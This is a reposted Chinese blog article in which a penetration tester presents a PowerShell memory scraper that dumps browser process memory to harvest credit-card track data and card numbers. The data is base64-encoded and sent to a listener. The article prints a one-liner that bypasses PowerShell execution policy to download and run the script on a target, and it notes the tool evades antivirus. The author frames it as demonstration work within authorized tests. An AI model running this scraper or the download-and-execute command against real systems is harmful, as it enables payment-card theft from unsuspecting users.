利用PowerShell对信用卡内存进行Scraping

admin 2023-12-08 17:13:11 AnQuanKeInfo 来源:ZONE.CI 全球网 0 阅读模式

https://p4.ssl.qhimg.com/t0178e3bdc721ff9cf9.png

注:Memory Scraping是一种帮助黑客搜集个人数据的工具,它检查存储器以搜集无法通过其他途径搜索到的敏感数据。

在渗透测试的后期,我喜欢为客户提供例子说明如果发生意外情况会怎么样。最常见的例子之一就是信用卡被盗。为了证明这种威胁的存在,我创建了一个基于PowerShell的内存刮取工具来应对各种各样的应用(一些浏览器),目的是用来收集追踪数据。为什么用PowerShell呢?因为防病毒程序不会阻止它,而且它为我提供了快速修改脚本的功能,针对应用的结构修改它。

感谢伟大的@mattifestation and PowerSploit,你可以使用Out-Minidump来创建一个进程的内存转储。我创建了逻辑轻量级脚本来连续转储一个进程的内存并刮取它的被追踪的数据。以IE为例,该脚本执行了以下操作:

https://p2.ssl.qhimg.com/t0165167ef5150d5702.png

你可以从Github下载该脚本(点这里):

git clone https://www.github.com/shellntel/scripts

下面是一个内存刮取器实时收集追踪数据的截图:

https://p2.ssl.qhimg.com/t01ba7f94c600e8502d.png

很古老的过期信用卡,甚至不知道我为什么用它?

我创建了几个自己觉得得心应手的功能。一个是编码以及发送追踪数据到我安装好的监听器的功能。它使用base64编码追踪数据并执行一个数据中包括的HTTP GET请求。我从不会把这数据通过互联网发送,只通过受我控制的内部盒子或者通过加密隧道。你可以使用任何方法建立一个监听器,但是我最喜欢的是:

python -m SimpleHTTPServer 80

有时已经接近成功了,但是突发一些错误,那么如果追踪数据不可用,此代码能支持收集普通卡的卡号。这里使用Luhn检测和一些正则表达来帮助减少错误的影响,但是那还不够。你可以指定一个IIN/BIN (http://www.binlist.net)来匹配。当你的目标在金融机构时,匹配到的IIN会很好用。我的同事@curi0usJack帮助我查找了一些漏洞并实现了重复检查功能,所以我们就不会一遍又一遍地发送或登录相同的数据了。

很多时候我的目标用户使用的是终端服务器环境,这使我更加轻松了,因为我可以在一个集中的地址(终端服务器)运行内存刮取器,但是由于有多个用户,你会希望内存刮取器只针对刮取你的目标用户的进程。如果不是这样,你可能转储了上千的没有包括信用卡数据的进程。出于这个原因,我创建了一个功能,用来通过-User参数的值检查进程拥有者。我常见的工作流程是通过组名称来识别目标用户所在的实时目录,然后使用-User参数指定他们,然后让内存刮取器跑个几天。

人人都喜欢长话短说。如果你想要运行内存刮取器(程序使用IE举例),运行在如下的目标系统:

powershell.exe -exec bypass -Command "(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/shellntel/scripts/master/mem_scraper.ps1','mem_scraper.ps1');./mem_scraper.ps1 -Proc iexplore;"

我发现这个方法是最快最可靠的。只需几分钟缩小目标范围。该脚本可以在Github上下载,是基于PowerShell v2和v3的。希望你去尝试一下你的下一个渗透测试(在许可范围之内)。

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0